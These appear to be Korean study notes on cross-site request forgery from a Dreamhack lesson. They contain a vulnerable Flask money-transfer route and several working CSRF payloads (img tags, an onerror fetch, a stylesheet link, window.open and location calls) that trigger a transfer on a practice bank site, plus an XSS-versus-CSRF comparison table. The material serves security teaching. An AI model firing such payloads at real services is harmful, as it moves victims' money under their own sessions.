GET /sendmoney?to=dreamhack&amount=1337 HTTP/1.1
Host: bank.dreamhack.io
Cookie: session=IeheighaiToo4eenahw3
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
<img src="/sendmoney?to=dreamhack&amount=1337">
<!-- onerror : 이미지 로드 에러 발생 시 -->
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=1337');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=1337">
공격 스크립트는 Javascript OR Python 으로 작성 가능
<img>
태그나 <form>
태그 이용해 HTTP 요청 보냄
-> HTTP 헤더인 Cookie에 이용자의 인증 정보가 포함됨
<img>
태그 이용HTML img 태그 공격 코드 예시
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
Javascript 공격 코드 예시
/* 새 창 띄우기 */ window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337'); /* 현재 창 주소 옮기기 */ location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337'; location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
c.f.) location.href V.S. location.replace()
_ | location.href | location.replace() |
---|---|---|
기능 | 새로운 페이지로 이동 | 기존 페이지가 새로운 페이지로 바뀜 |
형태 | 속성 | 메소드 |
주소 히스토리 기록? | O | X |
사용예 | location.href='abc.php' | location.replace('abc.php') |
_ | XSS | CSRF |
---|---|---|
공통점 | 클라이언트를 대상으로 하는 공격 | |
이용자가 악성스크립트가 포함된 페이지로 접속하도록 유도해야 | ||
목적 | 인증 정보인 세션 및 쿠키 탈취 | 이용자가 임의 페이지에 HTTP 요청을 보내는 것 |
공격 방법 | 공격할 사이트의 오리진에서 스크립트를 실행시킴 | 공격자는 악성 스크립트가 포함된 페이지에 접근한 이용자의 권한으로 웹 서비스의 임의 기능을 실행할 수 있음 |